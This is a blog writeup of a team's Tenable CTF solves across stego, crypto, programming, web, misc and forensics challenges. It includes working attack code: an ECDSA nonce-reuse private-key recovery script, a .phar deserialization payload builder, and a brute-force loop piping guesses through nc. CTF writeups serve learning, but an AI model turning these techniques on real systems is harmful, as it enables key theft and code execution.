Tenable CTF Writeup

This past weekend, Sarah and I took part in the first CTF competition hosted by the cybersecurity company Tenable. The competition ran from Thursday to Monday, and had a lot of really great challenges. We had a lot of fun with it, and managed to place 56th out of over 1700 teams on the scoreboard. Kudos to the Tenable folks for putting together such a great CTF!

The challenges were separated by category, and had different scores based on their difficulty. We managed to solve 56 of the 79 challenges. I’ve written up some of my favourites below. Also see Sarah’s writeup for some of her favourite solves as well!

Stego

This was our first CTF with Stego (or Steganography) challenges. Steganography is the act of hiding a secret message inside of something like an image file. There were some pretty neat challenges, and some of them ended up being quite hard. See Sarah’s writeup for more from this category.

A3S Turtles

This challenge proved to be the best example of teamwork in the whole competition. It had several steps, and we each contributed to solving them.

The description of the challenge simply said “Turtles all the way down” and gave us a file download: turtles128.zip. Sarah started digging into this problem and discovered a couple of interesting things.

First, the zip was encrypted and required a password. But there was also something funny about it; when you tried to decrypt it, it asked for a password for turtles127.zip (note that this is 127, not 128).

% unzip turtles128.zip
Archive:  turtles128.zip
[turtles128.zip] turtles127.zip password:

Seeing this, I wondered if maybe the “turtles all the way down” reference was a hint that turtles128.zip contained turtles127.zip which contains turtles126.zip and so on?

So I set out to crack the password on turtles128.zip. I used fcrackzip with the rockyou wordlist from Kali Linux. To my surprise, the password was a single character: 0

I then tried to unzip turtles127.zip. Not surprisingly, it also required a password. I tried 0 and it worked!

Next up was turtles126.zip. I tried 0 for the password, but it didn’t work. Then I tried 1 and it worked! The next three all used 1 as well. But then for the following zip, 1 didn’t work. I tried 2, no dice. Then I tried 0, and it worked.

At this point I guessed that the passwords were all going to be 0‘s and 1‘s, which would give me, in the end, 128 bits of data. I put together a script to guess all of the passwords, and get the binary data.

However, the binary data didn’t translate into the flag. It was just gibberish. However, unzipping the last file gave this PNG image file as a result:

key.png

At this point I was stumped, but eventually Sarah figured it out. The “A3S” in the title was a reference to “AES” encryption, and the key in the image file could be used to decrypt it! We loaded it up in CyberChef, and got the flag!

flag{steg0_a3s}

Crypto

Netrunner Encryption

It had been a little while since I worked with crypto, and this challenge was a good refresher. On loading the linked the webpage, it gave the following:

Putting a string in the field and clicking “Encrypt” caused the page to output a base64 encoded string, the encrypted message. Clicking the source code link revealed this code:

<html>
<body>
  <h1>Netrunner Encryption Tool</h1>
  <a href="netrun.txt">Source Code</a>
  <form method=post action="crypto.php">
  <input type=text name="text_to_encrypt">
  <input type="submit" name="do_encrypt" value="Encrypt">
  </form>

<?php

function pad_data($data)
{
  $flag = "flag{wouldnt_y0u_lik3_to_know}";

  $pad_len = (16 - (strlen($data.$flag) % 16));
  return $data . $flag . str_repeat(chr($pad_len), $pad_len);
}

if(isset($_POST["do_encrypt"]))
{
  $cipher = "aes-128-ecb";
  $iv  = hex2bin('00000000000000000000000000000000');
  $key = hex2bin('74657374696E676B6579313233343536');
  echo "</br><br><h2>Encrypted Data:</h2>";
  $ciphertext = openssl_encrypt(pad_data($_POST['text_to_encrypt']), $cipher, $key, 0, $iv);

  echo "<br/>";
  echo "<b>$ciphertext</b>";
}
?>
</body>
</html>

It took a while to figure out the vulnerability. Eventually I tried running the encryption code locally, and I got the following warning:

PHP Warning: openssl_encrypt(): IV passed is 16 bytes long which is longer than the 0 expected by selected cipher ...

This was a clue. The cipher being used in this algorithm was aes-128-ecb. The “ECB” part stands for Electronic Codebook, and it represents the mode of operation for the cipher. Block ciphers like AES encrypt plaintext by splitting it into “blocks” of a predetermined size (128 bits in our case) and then using a mode of operation to encrypt and combine each block. ECB is the simplest such mode; the algorithm simply encrypts each block independently and concatenates the result. As a result, it doesn’t require an IV (Initialization Vector, needed for modes that chain the blocks together), thus the warning.

ECB is insecure, because if two blocks of plaintext are identical, then the corresponding blocks of ciphertext will also be identical. Knowing this, knowing that the flag was within the plaintext just before the padding, and knowing the padding algorithm, we can manipulate the input message to guess each character of the flag, one at a time.

To understand this, let’s first make the assumption (for simplicity) that the padding characters are 0‘s. Consider the following plaintext:

}000000000000000  000flag{blahblah  }000000000000000
     Block 1           Block 2          Block 3

We control the first part of the plaintext, and we can manipulate its length until the encrypted block 3 matches our encrypted block 1. At that point, we know that the last character of the flag, the } character, has spilled over into that block.

Next, we simply add a character to the beginning:

a}00000000000000  0000flag{blahbla  h}00000000000000
     Block 1           Block 2          Block 3

The encrypted blocks won’t match anymore, but we can just iterate over all of the possibilities of our first character until the blocks match again. That will give us one character of the flag.

In reality, some care needs to be taken to get the padding right (it’s different depending on how many characters of padding there is), and to figure out which blocks should match. But then a bit of scripting will recover the flag one character at a time.

flag{b4d_bl0cks_for_g0nks}

ECDSA Implementation Review

This was the last challenge I tackled, and I was very happy to get it right.

Oof. Looks complicated 😅

Turns out the bug was right after the pub_key and priv_key variables are set. The variables nonce1 and nonce2 are set to a random number, but they are set to the same random number! Knowing that nonce means “Number used once”, I figured that this was a problem.

Turns out it’s a well known problem with ECDSA, and in fact it is explained in detail on the Wikipedia page. Given two signatures with the same nonce, a few mathematical operations will let an attacker uncover the private key (the variable secret in the code above). The latter part of the code uses secret to encrypt the flag using AES. Once the secret is recovered, getting the flag is easy.

An interesting aspect of this challenge was the fact that all of the math was modulo arithmetic. I had to refresh myself on modulo division; a / b mod n is replaced by multiplication by the multiplicative inverse of b mod n. I stole some code to compute the multiplicative inverse, and was able to recover the private key:

#!/usr/bin/env ruby

h1      = 777971358777664237997807487843929900983351335441289679035928005996851307115    # e
h2      = 91840683637030200077344423945857298017410109326488651848157059631440788354195  # e'

order   = 115792089210356248762697446949407573529996955224135760342422259061068512044369

s1      = 26685296872928422980209331126861228951100823826633336689685109679472227918891
s2      = 40762052781056121604891649645502377037837029273276315084687606790921202237960

r       = 50394691958404671760038142322836584427075094292966481588111912351250929073849

puts "Bit length h1: #{h1.to_s(2).size}"
puts "Bit length h2: #{h2.to_s(2).size}"
puts "Bit length order: #{order.to_s(2).size}"

def extended_gcd(a, b)
  last_remainder, remainder = a.abs, b.abs
  x, last_x, y, last_y = 0, 1, 1, 0
  while remainder != 0
    last_remainder, (quotient, remainder) = remainder, last_remainder.divmod(remainder)
    x, last_x = last_x - quotient*x, x
    y, last_y = last_y - quotient*y, y
  end

  return last_remainder, last_x * (a < 0 ? -1 : 1)
end

def invmod(e, et)
  g, x = extended_gcd(e, et)
  if g != 1
    raise 'The maths are broken!'
  end
  x % et
end

puts "Multiplicative inverse of 5 mod 11 == #{invmod( 5, 11 )}"
puts "5 * 9 mod 11 == #{ 5 * 9 % 11 }"

k = ( ( h2 - h1 ) * invmod( s2 - s1, order ) ) % order

puts k

priv = ( ( s1*k - h1 ) * invmod( r, order ) ) % order
puts "Priv: #{ priv }"

And then, use the secret to decrypt the flag:

#!/usr/bin/env python3

from Crypto.Cipher import AES
import binascii

secret = 26924620604793025490002124762205825722410676804960639851404176074662508843402

aes_key = secret.to_bytes(64, byteorder='little')[0:16]
IV = b'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'
cipher = AES.new(aes_key, AES.MODE_CBC, IV)
ctxt = binascii.unhexlify( b'f3ccfd5877ec7eb886d5f9372e97224c43f4412ca8eaeb567f9b20dd5e0aabd5' )

ptxt = cipher.decrypt(ctxt)
print(ptxt)

flag{cRypt0_c4r3fully}

Code

This category was actually programming challenges, rather than hacking. Reminded me of programming competitions from the university days. Below are a couple of the trickier ones.

Find Largest Triangle

I decided to try a “brute force” approach to this one. I was a bit worried that the test cases on the server would have a large number of points and my program would time out, but I figured it was worth a shot.

Basically, I iterated through every trio of points in the input and calculated the area of the triangle created by those three points. I only really did two optimizations:

First, I was a little bit careful about my iteration:

  for i in xrange(0, len(points)):
    for j in xrange(i+1, len(points)):
      for k in xrange(j+1, len(points)):
        ...

Starting the inner iterations from one past the outer index (as opposed to starting each from 0) ensured that I didn’t calculate the same triange multiple times.

Also, the formula required computing an angle using an inverse cosine, and then computing sine of that angle. Rather than computing the heavy trigonometric functions, we can compute the sine value directly from the cosine value:

  sin_theta = math.sqrt(1 - cos_theta*cos_theta)

In the end, my code did take a while to run, but it didn’t time out, and the challenge was solved! Below is the full program:

import math

DEBUG = 0
def debug(str):
  if DEBUG:
    print(str)

# points is a list of 3D points
# ie: [[2, 9, -15], [0, 33, -20], ...]
def FindLargestTriangleArea(points):
  largest = 0

  for i in xrange(0, len(points)):
    for j in xrange(i+1, len(points)):
      for k in xrange(j+1, len(points)):
        debug("Points: {}, {}, {}".format(points[i], points[j], points[k]))
        area = get_area(points[i], points[j], points[k])
        debug("Area: {}".format(area))
        if area > largest:
          largest = area

  return largest

def get_area(point_a, point_b, point_c):
  vec_ab = to_vector(point_a, point_b)
  vec_ac = to_vector(point_a, point_c)

  dot_ab_ac = dot_product(vec_ab, vec_ac)
  mag_ab = magnitude(vec_ab)
  mag_ac = magnitude(vec_ac)

  cos_theta = dot_ab_ac / (1.0 * mag_ab * mag_ac)
  sin_theta = math.sqrt(1 - cos_theta*cos_theta)

  area = mag_ab * mag_ac * sin_theta / 2

  return area

def to_vector(point_a, point_b):
  return (point_b[0] - point_a[0], point_b[1] - point_a[1], point_b[2] - point_a[2])

def dot_product(vec1, vec2):
  return vec1[0]*vec2[0] + vec1[1]*vec2[1] + vec1[2]*vec2[2]

def magnitude(vec):
  return math.sqrt(dot_product(vec, vec))

# Reading space delimited points from stdin
# and building list of 3D points
points_data = raw_input()
points = []
for point in points_data.split(' '):
  point_xyz = point.split(',')
  points.append([int(point_xyz[0]), int(point_xyz[1]), int(point_xyz[2])])

# Compute Largest Triangle and Print Area rounded to nearest whole number
area = FindLargestTriangleArea(points)
print int(round(area))

Is the King in Check?

This was a fun one, and an exercise in careful hacky coding.

The algorithm for this wasn’t too complicated. Basically I just read in each piece and stored them by their coordinates. Then I iterated through them and checked to see if they were attacking the opposite-coloured King. Most of the pieces were pretty straight forward (search in a set of hardcoded directions until I find the next piece, check if it’s the opposite coloured King). The Pawn and the Knight required a bit of extra work (making my “direction” parameter more general, having an option limit on how far a piece can travel to attack another), but a little bit of generalization worked well.

And print statements. Lots of print statements.

WHITE = 'w'
BLACK = 'b'

QUEEN = 'q'
KING = 'k'
BISHOP = 'b'
ROOK = 'r'
KNIGHT = 'n'
PAWN = 'p'

# Directions: (row, col)
UP = (1, 0)
RIGHT = (0, 1)
DOWN = (-1, 0)
LEFT = (0, -1)
UP_RIGHT = (1, 1)
DOWN_RIGHT = (-1, 1)
DOWN_LEFT = (-1, -1)
UP_LEFT = (1, -1)

# Knight directions:
K1 = (2, 1)
K2 = (2, -1)
K3 = (-2, 1)
K4 = (-2, -1)
K5 = (1, 2)
K6 = (1, -2)
K7 = (-1, 2)
K8 = (-1, -2)

DEBUG = 2
def debug(obj, level=1):
  if level <= DEBUG:
    print obj

'''
Takes '+' and ' ' delimited data of chess matches and parses into list of seperate matches
'''
def ParseMatches(chess_matches):
    return [c.split('+') for c in chess_matches.split(' ')]

'''
:param chess_match: A list of chess pieces and their location on the board. ie: ['w,p,a2', 'w,q,a6','w,k,c1','b,r,h1','b,k,g3']
:return: returns True or False if a King is in check
'''
def IsKingInCheck(chess_match):
  board = {}
  for piece in chess_match:
    (color, type, coords) = piece.split(',')
    board[coords] = (color, type)
  debug(board)

  for coords in board:
    color = board[coords][0]
    type = board[coords][1]
    if attacking_king( type, color, coords, board ):
      return True

  return False

def attacking_king(type, color, coords, board):
  debug('Checking piece: {}'.format((type, color, coords)))

  if type == KING:
    return False

  directions = []
  distance = 1000
  if type == PAWN:
    distance = 1
    if color == WHITE:
      directions = [ UP_LEFT, UP_RIGHT ]
    if color == BLACK:
      directions = [ DOWN_LEFT, DOWN_RIGHT ]

  if type == KNIGHT:
    debug("It's a knight!")
    directions = [ K1, K2, K3, K4, K5, K6, K7, K8 ]
    distance = 1

  if type == QUEEN:
    debug("It's a queen!")
    directions = [ UP, RIGHT, DOWN, LEFT, UP_RIGHT, DOWN_RIGHT, DOWN_LEFT, UP_LEFT ]
  if type == BISHOP:
    debug("It's a bishop!")
    directions = [ UP_RIGHT, DOWN_RIGHT, DOWN_LEFT, UP_LEFT ]
  if type == ROOK:
    debug("It's a rook!")
    directions = [ UP, RIGHT, DOWN, LEFT ]

  for direction in directions:
    debug("Looking in direction: {}".format(direction))
    next_piece = find_next_piece(coords, direction, board, distance)
    if not next_piece:
      continue

    debug("Got next piece: {}".format(next_piece))
    (next_color, next_type) = next_piece

    if next_type == KING and next_color != color:
      return True

  return False

def find_next_piece(start, direction, board, distance=1000):
  inc = lambda char, delta : chr(ord(char) + delta)

  coords = start
  while distance > 0:
    coords = inc(coords[0], direction[1]) + inc(coords[1], direction[0])
    debug("Next coords: {}".format(coords), 2)
    if coords in board:
      return board[coords]

    if coords[0] < 'a' or coords[0] > 'h' or coords[1] < '1' or coords[1] > '8':
      return None

    distance = distance - 1

# Parses chess matches from raw_input and calls "IsKingInCheck" for each match. Result is then printed
result = []
chess_matches = ParseMatches(raw_input())
for chess_match in chess_matches:
    result.append(IsKingInCheck(chess_match))

print result

Web

These ones were right up my alley. Many of the challenges were pretty basic, but there were a couple that were quite interesting. And some that seemed like they should be easy…but weren’t…

Follow the Rabbit Hole

This was a fun one. Opening the given URL revealed the following site:

Sarah was playing around with this, and figured out that putting the code from the web page into the page URL parameter would give a different set of numbers. She tried going down a few levels, but found that the rabbit hole was deep.

I wrote a script to continue down the rabbit hole to the end. Eventually, after many iterations, the string "end" was returned.

We put all of the responses into a text file, and started messing around. We guessed that the first number represented an ordering (confirmed by checking a few numbers and ensuring that they only showed up once) and that the second number represented a byte of hex data. We sorted the numbers, and put them into CyberChef to see what the data looked like…

Bingo! Looks like a PNG file. Downloading and opening revealed the flag:

Phar Out!

This challenge had a simple website that took a file and hashed it using MD5.

It also supplied the source code of the site, which had some interesting logic:

<?php

include("wrapper.php");

?>

<html>
<head>
	<title>Phar Out!</title>
</head>

<body>

<p>
Upload a file, and I'll hash it with MD5 :-)
</p>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" enctype="multipart/form-data">
<input type="file" name="the_file" />
<input type="hidden" name="s" value="f" />
<input type="submit" name="submit" value="Upload File" />
</form>

<?php

if (isset($_POST['submit']) &amp;&amp; $_FILES['the_file']['size'] > 0)
{
	$dest_dir = getcwd() . "/uploads/";

	echo "<br />Submitted<br />";
	$target_file = $dest_dir . basename($_FILES["the_file"]["name"]);
	//print_r($_FILES);
	move_uploaded_file($_FILES["the_file"]["tmp_name"], $target_file);

	if ($_POST['s'] === 'p')
		$s = 'phar://';
	else
		$s = 'file://';
	echo md5_file("$s$target_file");
	unlink($target_file);
}

?>

</body>

</html>

Looks like I could upload a .phar file (PHP Archive), tamper with the s parameter in the form, and force the server to deserialize the .phar. This is unsafe because .phar files can have arbitrary PHP objects as metadata, and if those objects have a __wakeup() function, it can turn into a code execution vulnerability.

In this case, all the pieces were put in place for us. There was a “Wrapper” class and a “Doit” class which together printed the flag from an environment variable. All we needed to do was create a .phar with the Wrapper metadata, tamper with the form, upload the file, and profit.

I forgot to save the flag text for this one, so I can’t include it here. Oops! Anyway, here’s the script to create the .phar file:

<?php

include './phar-out-source/wrapper.php';

$pharFile = 'hack.phar';

// clean up
if (file_exists($pharFile)) {
    unlink($pharFile);
}
if (file_exists($pharFile . '.gz')) {
    unlink($pharFile . '.gz');
}

// create phar
$p = new Phar($pharFile);

// creating our library using whole directory
$p->buildFromDirectory('src/');

// pointing main file which requires all classes
$p->setDefaultStub('index.php', '/index.php');

// Set Metadata!
$wrapper = new Wrapper();
$p->setMetadata($wrapper);

// plus - compressing it into gzip
// $p->compress(Phar::GZ);

echo "$pharFile successfully created";

Misc

One Byte at a Time

This one was a text-based server that asked for the first part of the flag. If what you gave it was correct, it would give you a byte of data and tell you that it was the next character XOR’d with some octet of an IP address. If you didn’t get the prefix right, it told you so.

The way to solve it was to look at the bytes that came back for a known character, figure out what the possible octets were for the XOR, and try them all for each byte coming back from the server.

Ain’t nobody got time for that. I just brute-forced it, one character at a time 🙂

My script would fail once in a while, probably because I was hammering the server too hard. But I would just hardcode in the current known prefix and run it again. Here’s the final code, with the latest flag prefix before I got the last bit. Can you guess what the flag was?

#!/usr/bin/ruby

CHARS = '}abcdefghijklmnopqrstuvwxyz0123456789_'

def main
  guess = 'flag{f0ll0w_th3_whi'

  while true do
    CHARS.each_char do |c|
      puts "Trying #{guess}#{c}"
      output = `echo #{guess}#{c} | nc challenges.ctfd.io 30468`

      if output.include?( 'You seem to know the' )
        guess += c
        break
      end
      sleep 1
    end
  end
end

main

Not JSON

For this one, there was a file to download named not_json. I tried to determine what kind of file it was, but didn’t have much luck at first. Putting it in CyberChef gave me this:

Interesting. Seems to be storing an alphabet, and a list of incrementing numbers. Hmm.

I decided to take the challenge name, Not JSON, as a clue. I thought I remembered something about a binary JSON format, so I Google’d it. Sure enough, the BSON format is a binary JSON. I remembered it from my Ruby on Rails days, working with MongoDB (which stores everything in BSON under the hood). I decoded the BSON in CyberChef:

Hmm…one more piece to the puzzle. I guessed that the numbers were indexes into the alphabet string above. A quick look confirmed that the first 5 characters were flag. I hopped onto a Ruby shell and decoded the rest of it.

obj = { ... }
obj[:'1'].map { |i| obj[:'0'][i] }.join

flag{son_of_a_bson}

Forensics

H4ck3R_m4n_exp0sed!

This was actually three challenges in one. We were given a pcap file with network data. After some digging in Wireshark, it appeared that the client had been connecting to an FTP server, and uploaded some interesting looking files: supersecure.7z, compression_info.txt, and butter.jpeg. I figured out how to download the files, and took a look.

The first flag was in butter.jpeg:

The compression.txt file had the following contents:

The password for the compressed file is “bbqsauce”

I decompressed the .7z file using that password, and got two files. One was a flag:

The other one was called dataz and seemed to be a string of hex bytes.

I used CyberChef to convert it to raw data, and then it looked like this:

Looks like Base64! Let’s decode it…

And that looks like a JPEG image. When rendered, we got the flag:

Cat Taps

This was one of my favourites.

I downloaded the USB file and popped it into CyberChef to see if I could detect the file type. Unfortunately I didn’t get anything, so we carried on with other challenges. Later, I came back to it, and tried the Linux file command. It gave me more info! Specifically, this was a pcap file with some kind of packet traffic in it.

I loaded it into Wireshark, and found that it was USB traffic, hence the name. I had never looked at captured USB traffic before, so I dug around online to try to understand what I was looking at. I found a device that was sending a lot of data, and found that it was a mouse.

Perhaps the cat was playing with the mouse? 😼

I actually spent a lot of time on the mouse. I figured out the data protocol, copied all of the data, put it into a spreadsheet, fixed the formatting, and rendered a chart of where the mouse cursor had moved to. It looked…like a cat using a computer mouse. There was no useful information.

So I went back into the pcap file and discovered another device that was sending data. This one didn’t say what it was, so I Google’d around, found the manufacturer, etc. and eventually guessed that it was a keyboard. It seemed to be sending back keycodes, and sometiems more than one at a time (cats aren’t the most careful typists, after all). I struggled to find how to translate the keycodes back to charaters, but eventually found this walkthrough that helped. Sure enough, that darn cat had typed the flag.

flag{usb_pcaps_are_fun}

Fix Me

Sarah tackled this one first. It was a broken PNG file, but none of the tools she tried to use for fixing it worked.

I decided to try to look at the chunks within the file and see if they were corrupted. I used a Ruby library called ChunkyPng that would parse the PNG chunks, and added some debugger statements to see where it was failing.

I read about the PNG format, and opened the file in Radare2 so I could dig through. Eventually I discovered that between each pair of IDAT chunks (containing image data), there were a few bytes of garbage before the next IDAT chunk started. I tried deleting those bytes, and it seem to be starting to fix the image.

I went through manually and fixed ~30 chunks. Once that was done, the PNG file contained the flag.

Leave a Reply